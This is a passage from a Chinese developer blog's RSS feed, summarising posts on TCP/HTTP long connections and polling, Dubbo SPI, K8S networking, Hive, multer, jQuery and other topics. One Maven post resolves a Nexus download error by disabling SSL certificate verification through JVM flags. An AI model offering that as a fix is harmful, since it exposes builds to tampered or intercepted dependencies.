接下来我们再模拟一下长连接的情况，client向server发起连接，server接受client连接，双方建立连接。Client与server完成一次读写之后，它们之间的连接并不会主动关闭，后续的读写操作会继续使用这个连接。下面介绍一下TCP的保活功能。&#xA;TCP的保活功能主要为服务器应用提供。如果客户端已经消失而连接未断开，则会使得服务器上保留一个半开放的连接，而服务器又在等待来自客户端的数据，此时服务器将永远等待客户端的数据。保活功能就是试图在服务端器端检测到这种半开放的连接。如下示例：Client2关闭，TCP的保活功能使得Client1上仍然保留有一个半开放的连接，仍然在等待Cilent2的数据。&#xA;如果一个给定的连接在两小时内没有任何的动作，则服务器就向客户发一个探测报文段，客户主机必须处于以下4个状态之一：&#xA;客户主机依然正常运行，并从服务器可达。客户的TCP响应正常，而服务器也知道对方是正常的，服务器在两小时后将保证定时器复位。客户主机已经崩溃，并且关闭或者正在重新启动。在任何一种情况下，客户的TCP都没有响应。服务端将不能收到对探测的响应，并在75秒后超时。服务器总共发送10个这样的探测 ，每个间隔75秒。如果服务器没有收到一个响应，它就认为客户主机已经关闭并终止连接。客户主机崩溃并已经重新启动。服务器将收到一个对其保证探测的响应，这个响应是一个复位，使得服务器终止这个连接。客户机正常运行，但是服务器不可达，这种情况与2类似，TCP能发现的就是没有收到探查的响应。 在长连接的应用场景下，client端一般不会主动关闭它们之间的连接，Client与server之间的连接如果一直不关闭的话，会存在一个问题，随着客户端连接越来越多，server早晚有扛不住的时候，这时候server端需要采取一些策略，如关闭一些长时间没有读写事件发生的连接，这样可以避免一些恶意连接导致server端服务受损。如果条件再允许就可以以客户端机器为颗粒度，限制每个客户端的最大长连接数，这样可以完全避免某个蛋疼的客户端连累后端服务。&#xA;长连接和短连接的产生在于client和server采取的关闭策略，具体的应用场景采用具体的策略，没有十全十美的选择，只有合适的选择。&#xA;HTTP与TCP/IP 关于HTTP和TCP/IP各协议的详细介绍点击【计算机网络-学习总结篇】。&#xA;1.HTTP协议与TCP/IP协议的关系 HTTP协议的长连接和短连接，本质上是TCP协议的长连接和短连接。HTTP属于应用层协议，在传输层使用TCP协议，在网络层使用IP协议。 IP协议主要解决网络路由和寻址问题，TCP协议主要解决如何在IP层之上可靠地传递数据包，使得网络上接收端收到发送端所发出的所有包，并且接受顺序与发送顺序一致。TCP协议是可靠的、面向连接的。TCP才负责连接，只有负责传输的这一层才需要建立连接！！！！！&#xA;在HTTP/1.0中默认使用短连接。也就是说，客户端和服务器每进行一次HTTP操作，就建立一次连接，任务结束就中断连接。当客户端浏览器访问的某个HTML或其他类型的Web页中包含有其他的Web资源（如JavaScript文件、图像文件、CSS文件等），每遇到这样一个Web资源，浏览器就会重新建立一个HTTP会话。&#xA;而从HTTP/1.1起，默认使用长连接，用以保持连接特性。使用长连接的HTTP协议，会在响应头加入这行代码（但要服务器和客户端都设置）：&#xA;Connection:keep-alive 在使用长连接的情况下，当一个网页打开完成后，客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭，客户端再次访问这个服务器时，会继续使用这一条已经建立的TCP连接。也就是说在长连接情况下，多个HTTP请求可以复用同一个TCP连接，这就节省了很多TCP连接建立和断开的消耗。&#xA;Keep-Alive不会永久保持连接，它有一个保持时间，可以在不同的服务器软件（如Apache）中设定这个时间。实现长连接需要客户端和服务端都支持长连接。&#xA;2.如何理解HTTP协议是无状态的 HTTP协议是无状态的，指的是HTTP协议对事务处理没有记忆能力，服务器不知道客户端是什么状态。即第一次和第二次发起对应的请求之间没有任何联系。&#xA;长轮询与短轮询 1.什么是长轮询与短轮询 短轮询相信大家都不难理解，比如你现在要做一个电商中商品详情的页面，这个详情界面中有一个字段是库存量（相信这个大家都不陌生，随便打开淘宝或者京东都能找到这种页面）。而这个库存量需要实时的变化，保持和服务器里实际的库存一致。&#xA;这个时候，你会怎么做？&#xA;最简单的一种方式，就是你用JS写个死循环，不停的去请求服务器中的库存量是多少，然后刷新到这个页面当中，这其实就是所谓的短轮询。&#xA;这种方式有明显的坏处，那就是你很浪费服务器和客户端的资源。客户端还好点，现在PC机配置高了，你不停的请求还不至于把用户的电脑整死，但是服务器就很蛋疼了。如果有1000个人停留在某个商品详情页面，那就是说会有1000个客户端不停的去请求服务器获取库存量，这显然是不合理的。&#xA;那怎么办呢？&#xA;长轮询这个时候就出现了，其实长轮询和短轮询最大的区别是，短轮询去服务端查询的时候，不管库存量有没有变化，服务器就立即返回结果了。而长轮询则不是，在长轮询中，服务器如果检测到库存量没有变化的话，将会把当前请求挂起一段时间（这个时间也叫作超时时间，一般是几十秒）。在这个时间里，服务器会去检测库存量有没有变化，检测到变化就立即返回，否则就一直等到超时为止。&#xA;而对于客户端来说，不管是长轮询还是短轮询，客户端的动作都是一样的，就是不停的去请求，不同的是服务端，短轮询情况下服务端每次请求不管有没有变化都会立即返回结果，而长轮询情况下，如果有变化才会立即返回结果，而没有变化的话，则不会再立即给客户端返回结果，直到超时为止。&#xA;这样一来，客户端的请求次数将会大量减少（这也就意味着节省了网络流量，毕竟每次发请求，都会占用客户端的上传流量和服务端的下载流量），而且也解决了服务端一直疲于接受请求的窘境。&#xA;但是长轮询也是有坏处的，因为把请求挂起同样会导致资源的浪费，假设还是1000个人停留在某个商品详情页面，那就很有可能服务器这边挂着1000个线程，在不停检测库存量，这依然是有问题的。&#xA;因此，从这里可以看出，不管是长轮询还是短轮询，都不太适用于客户端数量太多的情况，因为每个服务器所能承载的TCP连接数是有上限的，这种轮询很容易把连接数顶满。哪怕轮询解决不了获取库存这个问题，但只要大家明白了长短轮询的区别，这就足够了。&#xA;2.长短轮询和长短连接的区别 这里简单说一下它们的区别：&#xA;第一个区别是决定的方式，一个TCP连接是否为长连接，是通过设置HTTP的Connection Header来决定的，而且是需要两边（服务器端与应用端）都设置才有效。而一种轮询方式是否为长轮询，是根据服务端的处理方式来决定的，与客户端没有关系。第二个区别就是实现的方式，连接的长短是通过协议来规定和实现的。而轮询的长短，是服务器通过编程的方式手动挂起请求来实现的。 参考：&#xA;https://cloud.tencent.com/developer/article/1640430&#xA;https://www.cnblogs.com/gotodsp/p/6366163.html</description>
    </item>
    <item>
      <title>map区域合并</title>
      <link>https://bchobby.github.io/posts/854e4c24e80bd6f9698533127436af88/</link>
      <pubDate>Mon, 10 Jan 2022 11:07:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/854e4c24e80bd6f9698533127436af88/</guid>
      <description>1、合并数据，在 http://geojson.io/#new 上传需要合并的json文件&#xA;2、 将右侧数据复制出来，另存为json文件&#xA;3、修改该json文件，目前得到数据如下，features数组对象下，每个对象的properties增加alias属性，属性值为合并后名字。保存&#xA;4、打开https://mapshaper.org/，选择刚上传的json文件导入，得到如下数据&#xA;5、打开网站命令行工具，输入命令 dissolve ‘alias’ -o result.json，回车，然后下载json文件&#xA;6、校验，下载完的json数据拷贝出来，放入geojson右侧JSON框内，就可以看到合并后的行政区了。注意修改properties下的属性，合并后，属性名为 alias ，需改为 name，与之前保持一致</description>
    </item>
    <item>
      <title>给出一组数从小到大排序算法 用工具给出详细描述，（1）流程图（2） N-S图（3） PDL语言</title>
      <link>https://bchobby.github.io/posts/713f576d4628f2d9edc2def1a0a4fc8b/</link>
      <pubDate>Sun, 09 Jan 2022 21:03:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/713f576d4628f2d9edc2def1a0a4fc8b/</guid>
      <description> </description>
    </item>
    <item>
      <title>解决loaded more than 1 DLL from .libs和No metadata found in lib\site-packages两个错误</title>
      <link>https://bchobby.github.io/posts/9c1b725615a981375828764a340c1dd2/</link>
      <pubDate>Sun, 09 Jan 2022 17:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c1b725615a981375828764a340c1dd2/</guid>
      <description>### 卸载numpy pip uninstall numpy 解决No metadata found in lib\site-packages&#xA;去这个文件夹下找到numpy的两个文件夹 删除&#xA;然后重新输入pip install numpy</description>
    </item>
    <item>
      <title>uuid临时游客身份——＞在请求拦截器中带&#43;本地存储（告诉服务器你是谁）</title>
      <link>https://bchobby.github.io/posts/8452d4c7fab9728bfa11002ff62c34d9/</link>
      <pubDate>Sun, 09 Jan 2022 14:58:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8452d4c7fab9728bfa11002ff62c34d9/</guid>
      <description>uuid:是通用唯一标识码（Universally Unique&#xA;Identifier）的缩写，是一个128比特的数值。客户端在查找一个服务时，只需要在它的服务查找请求中指出与某类服务（或某个特定服务）有关的UUID，如果服务的提供者能将可用的服务与这个UUID相匹配，就返回一个响应。&#xA;1.封装产生uuid的模块&#xA;import { v4 as uuidv4 } from &#39;uuid&#39;;//创建一个uuid //要生成一个随机字符串，且每次执行都不能发生变化，游客身份持久存储 export const getUUID = () =&amp;gt;{ //先从本地存储获取uuid（看一下本地存储里面是否有） let uuid_token = localStorage.getItem(&#39;UUIDTOKEN&#39;); //如果没有就生成游客临时身份，并且本地存储一次 if(!uuid_token){ uuid_token = uuidv4(); localStorage.setItem(&#39;UUIDTOKEN&#39;,uuid_token) } //切记有返回值 return uuid_token; } 2.将uuid保存在仓库中&#xA;3.在请求中带着uuid，请求拦截后添加一个字段&#xA;requests.interceptors.request.use((config)=&amp;gt;{ //console.log(store) if(store.state.uuid_token){ //请求头添加一个字段(userTempId):字段名和后台商量好 config.headers.userTempId = store.state.uuid_token } nprogress.start()//进度条开始 return config; }) 4.可以看到所有请求都携带着这个uuid&#xA;5.可以看到本地存储中也保存了这个uuid&#xA;缓存使用方法&#xA;1.localStorage.setItem(&#39;TOKEN&#39;,token)//存储token到本地缓存中，命名为TOKEN&#xA;2.localStorage.getItem(&#39;token&#39;)//获取本地缓存中的token&#xA;3.localStorage.removeItem(&#39;TOKEN&#39;)//清除缓存TOKEN</description>
    </item>
    <item>
      <title>Dubbo拓展点加载机制</title>
      <link>https://bchobby.github.io/posts/585aeba2248e548c536d52edd2243e6b/</link>
      <pubDate>Sat, 08 Jan 2022 20:45:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/585aeba2248e548c536d52edd2243e6b/</guid>
      <description>Dubbo拓展点加载机制 前言 本篇首先介绍现有Dubbo加载机制的概况，包括Dubbo所做的改进及部分特性。然后介绍加载机制已经存在的一些关键注解，@SPI、@Adaptive、@Activate。然后介绍整个接在机制中最核心的ExtensionLoader的工作流程及实现原理。最后介绍拓展中使用的类动态编译的实现原理。通过本篇的阅读，我们会对Dubbo SPI加载机制有深入的了解，也会对这部分的源码有深入的认识，后续胖友自行阅读源码也会更容易。&#xA;加载机制概述 Dubbo良好的拓展性与两个方面是密不可分的，一是整个框架中针对不同场景，恰到好处的使用了各种设计模式，二就是我们要说的加载机制。基于Dubbo SPI的加载机制，让整个框架的接口与具体实现完全解耦，从而给整个框架良好拓展性奠定了基础。&#xA;Dubbo默认提供了很多可以直接使用的拓展点。Dubbo几乎所有的功能组件都是基于拓展机制（SPI）实现的，这些核心拓展点后面会详细说。&#xA;Dubbo SPI没有直接使用Java SPI,而是在它的思想上又做了-定的改进，形成了一套自己的配置规范和特性。同时，Dubbo SPI又兼容Java SPI。服务在启动的时候，Dubbo 就会查找这些扩展点的所有实现。&#xA;Java SPI 在说Dubbo SPI之前，我们先说一下Java SPI。SPI的全称是Service Provider Interface，起初是提供给厂商做插件开发的。关于Java SPI的详细定义和解释，可以参见此处。Java SPI使用了策略模式，一个接口多种实现。我们只声明接口，具体的实现并不在程序中直接确定，而是由程序之外的配置掌控，用于具体实现的装配。具体步骤如下:&#xA;定义一个接口及对应的方法。编写该接口的一个实现类。在META-INF/services/目录下，创建一个以接口全路径命名的文件,如com.example.rpc.example.spi.HelloService。文件内容为具体实现类的全路径名，如果有多个，则用分行符分隔。在代码中通过java. util. ServiceLoader来加载具体的实现类。如此一来， HelloService的具体实现就可以由文件com.example.rpc.example.spi.HelloService中配置的实现类来确定了，这里我配置的类为com.example.rpc.example.spi.HelloServiceImpl。 项目结构如下：&#xA;Java SPI示例代码如下：&#xA;public interface HelloService { void sayHello(); } public class HelloServiceImpl implements HelloService{ @Override public void sayHello() { System.out.printf(&#34;hello world!&#34;); } } public static void main(String[] args) { ServiceLoader&amp;lt;HelloService&amp;gt; serviceLoader = ServiceLoader.load(HelloService.class); //获取所有的SPI实现， // 循环调用 sayHello()方法， // 会打印出hello world 此处只有一个实现: HelloServiceImpl for (HelloService helloService : serviceLoader) { //此处会输出hello world helloService.</description>
    </item>
    <item>
      <title>K8S网络介绍</title>
      <link>https://bchobby.github.io/posts/696a9dfc376242d18acb2d6ec1e27003/</link>
      <pubDate>Sat, 08 Jan 2022 17:46:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/696a9dfc376242d18acb2d6ec1e27003/</guid>
      <description>一、背景介绍：&#xA;对于K8S里面容器之间的通讯基本上面可以分为三种类型：&#xA;1. POD里面不同容器之间的通讯：&#xA;因为同一个Pod里面的不同容器之间是共享同一个POD里面的网络资源，所以POD里容器之间的通讯基本上就是IPC之间的通讯方式，这个比较简单，不做详细介绍。&#xA;2.同一个NODE节点上面不同POD里面容器间的通讯：本篇文章主要用来讲解这一类通讯方式。&#xA;3.不同NODE上面的不同POD里面容器之间的通讯：这部分在后续章节介绍。&#xA;二、基础知识介绍：&#xA;网桥（Bridge）：&#xA;在 Linux 中，能够起到虚拟交换机作用的网络设备，是一个工作在数据链路层（Data Link）的设备，主要功能是根据 MAC 地址学习来将数据包转发到网桥的不同端口（Port）上。&#xA;docker0 的网桥：&#xA;Docker 项目会默认在宿主机上创建一个网桥docker0 ，凡是连接在 docker0 网桥上的容器，就可以通过它来进行通信。&#xA;Veth Pair 设备:&#xA;它被创建出来后，总是以两张虚拟网卡（Veth Peer）的形式成对出现的。并且，从其中一个“网卡”发出的数据包，可以直接出现在与它对应的另一张“网卡”上，哪怕这两个“网卡”在不同的 Network Namespace 里。&#xA;这就使得 Veth Pair 常常被用作连接不同 Network Namespace 的“网线”。&#xA;三、通讯过程介绍：&#xA;容器1的IP1访问容器2的IP2的交互过程如下所示：&#xA;1.在容器1中的路由规则里面查找IP2的地址，发现是是外部网络就会直接走容器1里面的eth0网卡（备注：走网卡的话，就是二层网路，需要探测IP2的MAC地址）。&#xA;2.eth0通过ARP广播进行探测IP2所对应的MAC地址，又因为Veth Pair的设备连接着2个网卡，所以eth0的发的ARP广播会通过docker0转发。&#xA;（备注：一旦一张虚拟网卡被“插”在网桥上，它就会变成该网桥的“从设备”。从设备会被“剥夺”调用网络协议栈处理数据包的资格，从而“降级”成为网桥上的一个端口。而这个端口唯一的作用，就是接收流入的数据包，然后把这些数据包的“生杀大权”（比如转发或者丢弃），全部交给对应的网桥。）&#xA;3.容器2里面的veth2也是通过Veth Pair连接在网桥docker0上面，所以这个ARP广播会发送到容器2里面的eth0网卡中。&#xA;4.容器2收到这个ARP之后，会返回这个IP2对应的MAC地址给到容器1里面的eth0。&#xA;5.后续容器1里面的eth0就可以直接发送消息出去了。&#xA;参考文档：&#xA;Kubernetes权威指南(第五版)</description>
    </item>
    <item>
      <title>机器学习应用篇（五）——决策树分类实例</title>
      <link>https://bchobby.github.io/posts/de88519fd9d60b2f8b8202278130dddb/</link>
      <pubDate>Sat, 08 Jan 2022 14:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de88519fd9d60b2f8b8202278130dddb/</guid>
      <description>机器学习应用篇（五）——决策树分类实例 文章目录 机器学习应用篇（五）——决策树分类实例一、数据集二、实现过程1 数据特征分析2 利用决策树模型在二分类上进行训练和预测3 利用决策树模型在多分类（三分类）上进行训练与预测 三、KEYS1 构建过程2 划分选择3 重要参数 一、数据集 小企鹅数据集，提取码：xqee&#xA;该数据集一共包含8个变量，其中7个特征变量，1个目标分类变量。共有150个样本，目标变量为 企鹅的类别 其都属于企鹅类的三个亚属，分别是(Adélie, Chinstrap and Gentoo)。包含的三种种企鹅的七个特征，分别是所在岛屿，嘴巴长度，嘴巴深度，脚蹼长度，身体体积，性别以及年龄。&#xA;二、实现过程 1 数据特征分析 ## 基础函数库 import numpy as np import pandas as pd ## 绘图函数库 import matplotlib.pyplot as plt import seaborn as sns #%%读入数据 #利用Pandas自带的read_csv函数读取并转化为DataFrame格式 data = pd.read_csv(&#39;D:\Python\ML\data\penguins_raw.csv&#39;) #我选取了四个简单的特征进行研究 data = data[[&#39;Species&#39;,&#39;Culmen Length (mm)&#39;,&#39;Culmen Depth (mm)&#39;, &#39;Flipper Length (mm)&#39;,&#39;Body Mass (g)&#39;]] data.info() #查看数据 print(data.head()) #发现数据中存在的NAN，缺失值此处使用-1将缺失值进行填充 data=data.fillna(-1) print(data.tail()) #查看对应标签 print(data[&#39;Species&#39;].unique()) #统计每个类别的数量 print(pd.Series(data[&#39;Species&#39;]).value_counts()) #对特征进行统一描述 print(data.</description>
    </item>
    <item>
      <title>multer</title>
      <link>https://bchobby.github.io/posts/67a0e2e14c6a854a2a96d7d1309cc826/</link>
      <pubDate>Sat, 08 Jan 2022 13:36:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67a0e2e14c6a854a2a96d7d1309cc826/</guid>
      <description>文章目录 前言一、Multer介绍二、上传文件不修改名字1.安装express包2.安装multer包3.创建multer对象，设置上传路径4.设置post访问路径5.完整代码6.运行结果7.由于没有设置文件名，把添加.jpg后缀即可查看图片 三、上传文件并修改名字1.设置磁盘存储引擎diskStorage2.完整代码3.运行结果4.由于设置了文件名称与后缀，所以不用重命名即可查看图片 总结 前言 Multer 是一个 node.js 中间件，用于处理 multipart/form-data 类型的表单数据，它主要用于上传文件。Multer 会添加一个 body 对象 以及 file 或 files 对象 到 express 的 request 对象中。 body 对象包含表单的文本域信息，file 或 files 对象包含对象表单上传的文件信息。&#xA;一、Multer介绍 Multer 接受一个 options 对象，其中最基本的是 dest 属性，这将告诉 Multer 将上传文件保存在哪。如果你省略 options 对象，这些文件将保存在内存中，永远不会写入磁盘。一般的网页应用，只需要设置 dest 属性，如果你想在上传时进行更多的控制，你可以使用 storage 选项替代 dest。&#xA;二、上传文件不修改名字 1.安装express包 npm install express 2.安装multer包 npm install multer 3.创建multer对象，设置上传路径 Multer 接受一个 options 对象，其中最基本的是 dest 属性，这将告诉 Multer 将上传文件保存在哪。如果你省略 options 对象，这些文件将保存在内存中，永远不会写入磁盘。&#xA;const multer = require(&#39;multer&#39;) const upload = multer({ dest: &#39;.</description>
    </item>
    <item>
      <title>视觉SLAM十四讲笔记-- 第三讲</title>
      <link>https://bchobby.github.io/posts/aaeb025c33cc4c1b6c87bfc417dfb829/</link>
      <pubDate>Fri, 07 Jan 2022 20:13:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaeb025c33cc4c1b6c87bfc417dfb829/</guid>
      <description>目录 第三讲课后题1、验证旋转矩阵是正交矩阵。2.*寻找罗德里格斯公式的推导过程并加以理解。3.验证四元数旋转某个点后，结果是一个虚四元数(实部为零)，所以仍然对应到一个三维空间点，见式(3.33)。4．画表总结旋转矩阵、轴角、欧拉角、四元数的转换关系。5．假设有一个大的Eigen矩阵，想把它的左上角3×3的块取出来,然后赋值为 I 3 × 3 \boldsymbol I_{3 × 3} I3×3​ ，请编程实现。6.*一般线性方程 An =b有哪几种做法?你能在 Eigen中实现吗? 第三讲课后题 1、验证旋转矩阵是正交矩阵。 （1）正交矩阵&#xA;定义：设A为n阶方阵，如果 A T A = I A^TA=I ATA=I 或者 A A T = I AA^T=I AAT=I，就称A为正交矩阵&#xA;性质：&#xA;正交矩阵的每一个列向量都是单位向量，且向量之间两两正交。正交矩阵的行列式为1 或者 -1 A − 1 = A T A^{-1}=A^T A−1=AT(充要条件) （2）旋转矩阵&#xA;旋转矩阵描述了坐标系之间的旋转变换，由3 × 3 的矩阵描述。&#xA;验证思路是利用 正交矩阵的充要条件 （ A − 1 = A T A^{-1}=A^T A−1=AT）来验证。&#xA;根据书中的例子设单位正交基（ e 1 , e 2 , e 3 e_1, e_2,e_3 e1​,e2​,e3​）经过一次旋转变成了（ e 1 ′ , e 2 ′ , e 3 ′ e^{&#39;}_1, e^{&#39;}_2,e^{&#39;}_3 e1′​,e2′​,e3′​），因为同一向量 a 在两个坐标系下分别为（ a 1 , a 2 , a 3 a_1, a_2,a_3 a1​,a2​,a3​）,（ a 1 ′ , a 2 ′ , a 3 ′ a^{&#39;}_1, a^{&#39;}_2,a^{&#39;}_3 a1′​,a2′​,a3′​），没有发生变化，根据坐标定义，因此有：</description>
    </item>
    <item>
      <title>Sublime Text默认语法设置-解决每次新建标签页都需要选择语法的问题</title>
      <link>https://bchobby.github.io/posts/1099bfabeadef958bd86a7e74da4c00f/</link>
      <pubDate>Fri, 07 Jan 2022 19:25:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1099bfabeadef958bd86a7e74da4c00f/</guid>
      <description>前言 Sublime Text是一款方便快捷的代码编辑器，我们一般会重度使用一种语言（比如笔者是SQL），但是每次新建标签页都需要选择语法的操作很麻烦。这里介绍一种配置方式，能够一劳永逸的解决问题。&#xA;解决方法 单击 Tools→Developer→New Snippet 弹出一个窗口，把下面这段代码粘贴进去：&#xA;import sublime, sublime_plugin class EverythingIsPowerShell(sublime_plugin.EventListener): def on_new(self, view): view.set_syntax_file(&#39;Packages/SQL/SQL.sublime-syntax&#39;) 文件另存为 DefaultLanguage.py，路径选择：插件文件夹/Packages/User/&#xA;这样以后建立的新标签就默认是SQL语法了，如果想使用其他语法只需把上述代码中的两处SQL换成其他语言即可（比如Python）。</description>
    </item>
    <item>
      <title>RPC 远程过程调用（Remote Procedure Call）</title>
      <link>https://bchobby.github.io/posts/a04febdb1d7cab6f500a1c4a2a8b8837/</link>
      <pubDate>Fri, 07 Jan 2022 16:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a04febdb1d7cab6f500a1c4a2a8b8837/</guid>
      <description> 是RPC框架，首先了解什么叫RPC，为什么要RPC，RPC是指远程过程调用，也就是说两台服务器A，B，一个应用部署在A服务器上，想要调用B服务器上应用提供的函数/方法，由于不在一个内存空间，不能直接调用，需要通过网络来表达调用的语义和传达调用的数据。&#xA;比如说，一个方法可能是这样定义的：&#xA;Employee getEmployeeByName(String fullName)&#xA;那么：&#xA;首先，要解决通讯的问题，主要是通过在客户端和服务器之间建立TCP连接，远程过程调用的所有交换的数据都在这个连接里传输。连接可以是按需连接，调用结束后就断掉，也可以是长连接，多个远程过程调用共享同一个连接。第二，要解决寻址的问题，也就是说，A服务器上的应用怎么告诉底层的RPC框架，如何连接到B服务器（如主机或IP地址）以及特定的端口，方法的名称名称是什么，这样才能完成调用。比如基于Web服务协议栈的RPC，就要提供一个endpoint URI，或者是从UDDI服务上查找。如果是RMI调用的话，还需要一个RMI Registry来注册服务的地址。第三，当A服务器上的应用发起远程过程调用时，方法的参数需要通过底层的网络协议如TCP传递到B服务器，由于网络协议是基于二进制的，内存中的参数的值要序列化成二进制的形式，也就是序列化（Serialize）或编组（marshal），通过寻址和传输将序列化的二进制发送给B服务器。第四，B服务器收到请求后，需要对参数进行反序列化（序列化的逆操作），恢复为内存中的表达方式，然后找到对应的方法（寻址的一部分）进行本地调用，然后得到返回值。第五，返回值还要发送回服务器A上的应用，也要经过序列化的方式发送，服务器A接到后，再反序列化，恢复为内存中的表达方式，交给A服务器上的应用。 同时需要对 RMI(Remote Method Invoke，远程方法调用)中的 stub (桩)和skeleton (骨架)的概念有一点了解。RMI 的代理模式是通过代理对象将方法传递给实际对象的。stub 驻留客户端,承担着代理远程对象实现者的角色。skeleton 类帮助远程对象与 stub 连接进行通信。&#xA;服务调用方（client）调用以本地调用方式调用服务；client stub 接收到调用后负责将方法、参数等组装成能够进行网络传输的消息体；client stub 找到服务地址，并将消息发送到服务端；server stub 收到消息后进行解码；server stub 根据解码结果调用本地的服务；本地服务执行并将结果返回给 server stub；server stub 将返回结果打包成消息并发送至调用方；client stub 接收到消息，并进行解码；服务调用方得到最终结果。 </description>
    </item>
    <item>
      <title>python 读取excel表格某列数据</title>
      <link>https://bchobby.github.io/posts/c9755b27255b660706a7ad69804ba89c/</link>
      <pubDate>Fri, 07 Jan 2022 16:40:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9755b27255b660706a7ad69804ba89c/</guid>
      <description>1.使用python包栈为openpyxl&#xA;2.多说无益，直接上代码&#xA;3.读取两个excel某列数据进行对比取交集&#xA;import openpyxl def get_entitydi(): workbook = openpyxl.load_workbook(&#34;2021年行业返佣.xlsx&#34;) book_sheet = workbook[&#34;Sheet1&#34;] row_all = book_sheet.rows data = [] for row in list(row_all)[2:]: coinsh = [] for value in row: coinsh.append(value.value) data.append(coinsh) entity_list = [] for parment in data: entity = parment[7] entity_list.append(entity) return entity_list def get_data(): workbook = openpyxl.load_workbook(&#34;有效时间表.xlsx&#34;) book_sheet = workbook[&#34;Sheet1&#34;] row_all = book_sheet.rows data = [] for row in list(row_all)[1:]: coinsh = [] for value in row: coinsh.</description>
    </item>
    <item>
      <title>Maven拉取Nexus中jar包Could not transfer artifact *** from ***报错解决</title>
      <link>https://bchobby.github.io/posts/b8ee4b9a02a616945994891bdbb7cd46/</link>
      <pubDate>Fri, 07 Jan 2022 14:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8ee4b9a02a616945994891bdbb7cd46/</guid>
      <description>实习期间的公司用了统一的nexus作为中央仓库，从中央仓库拉取jar包的时候，idea控制台出现了Could not transfer artifact ………省略 的报错，检查maven的setting.xml文件发现配置的账号密码确实是正确的，用同事的电脑自己的账号，发现也没问题，判断问题出现在了本机。查询资料nexus并没有ip过滤之类的，另一个setting文件配置的阿里云镜像，但是mirrorof配置的central中央仓库，应该不会造成冲突。&#xA;报错情况如下：&#xA;maven的setting文件和仓库位置配置均没有错误的情况下：&#xA;发现正在导入里面的vm选项可能会存在一些安全性考虑的设置&#xA;需要设置忽略ssl证书检验：&#xA;-Dmaven.wagon.http.ssl.insecure=true -Dmaven.wagon.http.ssl.allowall=true 顺利完成下载</description>
    </item>
    <item>
      <title>Hive相关基础知识</title>
      <link>https://bchobby.github.io/posts/a56d059b9773ab5c922218958f2a5275/</link>
      <pubDate>Fri, 07 Jan 2022 11:15:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a56d059b9773ab5c922218958f2a5275/</guid>
      <description>Hive相关基础知识 文章目录 Hive相关基础知识1. Hive简介2. Hive数据模型3. Hive特点4. 使用Hive操作数据5. 参考链接 1. Hive简介 Hive是基于Hadoop的一个数据仓库工具，用来进行数据提取、转化、加载，这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制。hive数据仓库工具能将结构化的数据文件映射为一张数据库表，并提供SQL查询功能，能将SQL语句转变成MapReduce任务来执行，通过自己的SQL查询分析需要的内容，这套SQL简称Hive SQL。&#xA;2. Hive数据模型 Hive数据库。类似传统数据库的DataBase。内部表。Hive的内部表与数据库中的Table在概念上是类似。外部表。外部表指向已经在HDFS中存在的数据，可以创建Partition。它和内部表在元数据的组织上是相同的，而实际数据的存储则有较大的差异。分区。Partition对应于数据库中的Partition列的密集索引。桶。Buckets是将表的列通过Hash算法进一步分解成不同的文件存储。 3. Hive特点 Hive表的数据默认只能在末尾追加。我们通常可以认为Hive不支持更新操作，这是因为Hive开启更新操作对性能影响极大，因此一般关闭Hive的更新功能。&#xA;Hive操作数据的特点： 支持分区存储数据追加数据(append)全表覆盖+新增(overwrite)不支持更新不支持删除 Hive本身特点： 可伸缩（在Hadoop的集群上动态添加设备）可扩展容错输入格式的松散耦合 4. 使用Hive操作数据 使用Scala语言来进行Hive的相关操作。&#xA;/* * 需要在resources添加spark相关配置文件 */ object HiveTest { // 设置用户 System.setProperty(&#34;HADOOP_USER_NAME&#34;, &#34;hdfs&#34;) // 设置SparkConf对象 var conf: SparkConf = new SparkConf() conf.setAppName(&#34;HiveTest&#34;) conf.setMaster(&#34;local&#34;) // 创建SparkContext对象 val spark: SparkContext = new SparkContext(conf) // 创建SparkSession对象 val sparkSession: SparkSession = SparkSession .builder() .config(conf) .enableHiveSupport() .getOrCreate() def main(args: Array[String]): Unit = { val df01: DataFrame = select() df01.</description>
    </item>
    <item>
      <title>详解一下JQuery中的each（）方法</title>
      <link>https://bchobby.github.io/posts/31e2249ced1e93a61ca927a76c13d6df/</link>
      <pubDate>Fri, 07 Jan 2022 08:59:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31e2249ced1e93a61ca927a76c13d6df/</guid>
      <description>&amp;lt;body&amp;gt;&#xA;&amp;lt;div&amp;gt;1&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;2&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;3&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt;&#xA;$(function(){ // 如果要给数组分配不同样式，还要避免隐式迭代 就要用遍历 JQuery遍历 // 定义数组分配颜色&#xA;let col =[&#34;red&#34;,&#34;green&#34;,&#34;blue&#34;];&#xA;// 如果要计算总和，设一个变量&#xA;let sum =0;&#xA;// each函数是遍历 等同for 但是比for强大&#xA;// 两个函数 第一个是下标 第二个是元素&#xA;$(&#34;div&#34;).each(function(i,domElm) {&#xA;console.log(i);&#xA;console.log(domElm);&#xA;// elm是DOM元素，要先转换才可以改变样式&#xA;$(domElm).css(&#34;color&#34;,col[i]);&#xA;// 计算总和&#xA;// 总和是元素中间填写的内容相加 就是 domElm 但这是字符串 所以要先将其改为数值型parseInt&#xA;sum=sum+parseInt($(domElm).text());&#xA;});&#xA;console.log(sum);&#xA;});&#xA;$(function(){&#xA;// 如果定义了一个颜色数组，想要遍历这个颜色的数组，但是each()方法做不到，就用到 $.each ()方法了&#xA;let col =[&#34;red&#34;,&#34;green&#34;,&#34;blue&#34;];&#xA;// 与each方法类似，这里先写$.each(括号第一个函数写数组名称，第二个函数写function)&#xA;// 